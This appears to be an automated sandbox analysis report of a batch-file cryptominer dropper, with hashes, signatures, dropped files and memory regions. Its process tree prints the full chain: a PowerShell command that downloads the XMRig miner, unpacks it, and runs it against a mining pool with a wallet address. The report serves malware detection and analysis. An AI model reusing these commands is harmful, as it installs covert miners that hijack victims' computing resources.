Analysis

  • max time kernel
    1795s
  • max time network
    1789s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    26-12-2023 09:06

General

  • Target

    tesy - Copy (12).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (12).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4528
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:168
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4568
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4752

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    22b230b29ae58b7ad83d6ecfea85f8fb

    SHA1

    f7ea2f30c795e80440bafd1a13e4c0db8378397d

    SHA256

    1d784bd1cea33a2cab5929551927faa426125a90dc1c984529ad295ffb3c6f4c

    SHA512

    467dc92c2653a935ed8c8e03dc68cc62647c916e311c84e1df67269a0c8a73c0e32962b6dc5b55fe7e587693db406cd078a7acf7105012d7d8bd981de11fd37c

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_i0yzg2kp.0cm.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    738KB

    MD5

    26e6bef8083ebe37aa9b384068aa6c43

    SHA1

    145f6e23f1013af05a37a2d8b1cea1730e49a55c

    SHA256

    64afbd297e2aa89019b1a7e07b5fa79d3edaff4894b781b2a988a248155646ab

    SHA512

    3a2065ab1e1ed385b6db2e012ae5b1dff7c7ac601419b4f6ebd32418cdf01b0e5e2de6bdec4e100a8997a8cc6990dd4b598322a49c5355dd824ac6689d85b309

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    1.7MB

    MD5

    8f7d2fb63a21c82fabd0638ef5b2d5ce

    SHA1

    48079207145dcaced9aa1b4bf7761e55767107fc

    SHA256

    651ebe434700ef17985b6d53d49fd6d82013e3c126ece6de7b167c1c05d06279

    SHA512

    1a8a575599b29dc80fa3346cb620f920ab2f76ebe6b88f91f5d7c81fc7931d3ad224dee4c7f64d9cfb4164ec9e6060095127577fb3656a05aa616f6d85e66e10

  • memory/168-4-0x000001FEF2580000-0x000001FEF25A2000-memory.dmp

    Filesize

    136KB

  • memory/168-7-0x000001FEF2730000-0x000001FEF27A6000-memory.dmp

    Filesize

    472KB

  • memory/168-22-0x00007FFEBB880000-0x00007FFEBC26C000-memory.dmp

    Filesize

    9.9MB

  • memory/168-24-0x000001FEF2570000-0x000001FEF2580000-memory.dmp

    Filesize

    64KB

  • memory/168-23-0x000001FEF2570000-0x000001FEF2580000-memory.dmp

    Filesize

    64KB

  • memory/168-25-0x000001FEF2570000-0x000001FEF2580000-memory.dmp

    Filesize

    64KB

  • memory/168-30-0x00007FFEBB880000-0x00007FFEBC26C000-memory.dmp

    Filesize

    9.9MB

  • memory/4568-35-0x00007FFEBB880000-0x00007FFEBC26C000-memory.dmp

    Filesize

    9.9MB

  • memory/4568-38-0x000001896AB40000-0x000001896AB50000-memory.dmp

    Filesize

    64KB

  • memory/4568-36-0x000001896AB40000-0x000001896AB50000-memory.dmp

    Filesize

    64KB

  • memory/4568-62-0x000001896AB40000-0x000001896AB50000-memory.dmp

    Filesize

    64KB

  • memory/4568-76-0x000001896ACE0000-0x000001896ACF2000-memory.dmp

    Filesize

    72KB

  • memory/4568-89-0x000001896ACC0000-0x000001896ACCA000-memory.dmp

    Filesize

    40KB

  • memory/4568-113-0x00007FFEBB880000-0x00007FFEBC26C000-memory.dmp

    Filesize

    9.9MB

  • memory/4752-141-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-151-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-118-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-119-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-120-0x00000146DB580000-0x00000146DB5A0000-memory.dmp

    Filesize

    128KB

  • memory/4752-121-0x00000146DB5A0000-0x00000146DB5C0000-memory.dmp

    Filesize

    128KB

  • memory/4752-122-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-123-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-124-0x00000146DB580000-0x00000146DB5A0000-memory.dmp

    Filesize

    128KB

  • memory/4752-125-0x00000146DB5A0000-0x00000146DB5C0000-memory.dmp

    Filesize

    128KB

  • memory/4752-126-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-127-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-128-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-129-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-130-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-131-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-132-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-133-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-134-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-135-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-136-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-137-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-138-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-139-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-140-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-116-0x00000146D9B00000-0x00000146D9B20000-memory.dmp

    Filesize

    128KB

  • memory/4752-142-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-143-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-144-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-145-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-146-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-147-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-148-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-149-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-150-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-117-0x00000146DB540000-0x00000146DB580000-memory.dmp

    Filesize

    256KB

  • memory/4752-152-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-153-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-154-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-155-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-156-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-157-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-158-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-159-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-160-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-161-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-162-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-163-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-164-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-165-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-166-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-167-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-168-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-169-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-170-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-171-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-172-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-173-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-174-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-175-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-176-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-177-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-178-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-179-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-180-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-181-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-182-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-183-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB

  • memory/4752-184-0x00007FF7E7270000-0x00007FF7E7D73000-memory.dmp

    Filesize

    11.0MB